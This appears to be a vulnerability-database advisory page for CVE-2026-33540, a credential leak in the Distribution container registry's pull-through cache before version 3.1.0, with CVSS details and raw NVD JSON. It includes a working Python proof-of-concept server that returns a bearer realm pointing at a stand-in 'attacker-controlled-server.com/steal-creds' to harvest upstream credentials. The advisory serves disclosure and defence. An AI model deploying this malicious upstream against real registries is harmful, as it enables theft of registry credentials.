Security Vulnerability Report
中文
CVE-2026-33540 CVSS 7.5 HIGH

CVE-2026-33540

Published: 2026-04-06 15:17:11
Last Modified: 2026-04-09 18:36:53

Description

Distribution is a toolkit to pack, ship, store, and deliver container content. Prior to 3.1.0, in pull-through cache mode, distribution discovers token auth endpoints by parsing WWW-Authenticate challenges returned by the configured upstream registry. The realm URL from a bearer challenge is used without validating that it matches the upstream registry host. As a result, an attacker-controlled upstream (or an attacker with MitM position to the upstream) can cause distribution to send the configured upstream credentials via basic auth to an attacker-controlled realm URL. This vulnerability is fixed in 3.1.0.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:distribution_project:distribution:*:*:*:*:*:go:*:* - VULNERABLE
Distribution < 3.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# This PoC simulates a malicious upstream registry that exploits the vulnerability. # It returns a WWW-Authenticate header with a realm pointing to an attacker-controlled server. from http.server import BaseHTTPRequestHandler, HTTPServer class MaliciousUpstreamHandler(BaseHTTPRequestHandler): def do_GET(self): # Simulate a 401 Unauthorized response required for authentication self.send_response(401) # The critical part: A realm URL pointing to an attacker's server (e.g., a logging service) # Distribution will send credentials to this URL. attacker_controlled_realm = "http://attacker-controlled-server.com/steal-creds" self.send_header('WWW-Authenticate', f'Bearer realm="{attacker_controlled_realm}",service="registry.docker.io"') self.send_header('Content-Type', 'application/json') self.end_headers() self.wfile.write(b'{"errors": [{"code": "UNAUTHORIZED", "message": "Authentication required"}]}') def run_server(port=8080): server_address = ('', port) httpd = HTTPServer(server_address, MaliciousUpstreamHandler) print(f"Malicious upstream running on port {port}...") httpd.serve_forever() if __name__ == '__main__': run_server() # Note: In a real attack scenario, the attacker would also host the server # at 'attacker-controlled-server.com' to capture the Authorization header.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33540", "sourceIdentifier": "[email protected]", "published": "2026-04-06T15:17:10.950", "lastModified": "2026-04-09T18:36:53.427", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Distribution is a toolkit to pack, ship, store, and deliver container content. Prior to 3.1.0, in pull-through cache mode, distribution discovers token auth endpoints by parsing WWW-Authenticate challenges returned by the configured upstream registry. The realm URL from a bearer challenge is used without validating that it matches the upstream registry host. As a result, an attacker-controlled upstream (or an attacker with MitM position to the upstream) can cause distribution to send the configured upstream credentials via basic auth to an attacker-controlled realm URL. This vulnerability is fixed in 3.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:distribution_project:distribution:*:*:*:*:*:go:*:*", "versionEndExcluding": "3.1.0", "matchCriteriaId": "A9736C6D-CC89-49C4-BF90-C1E5F31A82B0"}]}]}], "references": [{"url": "https://github.com/distribution/distribution/security/advisories/GHSA-3p65-76g6-3w7r", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/distribution/distribution/security/advisories/GHSA-3p65-76g6-3w7r", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}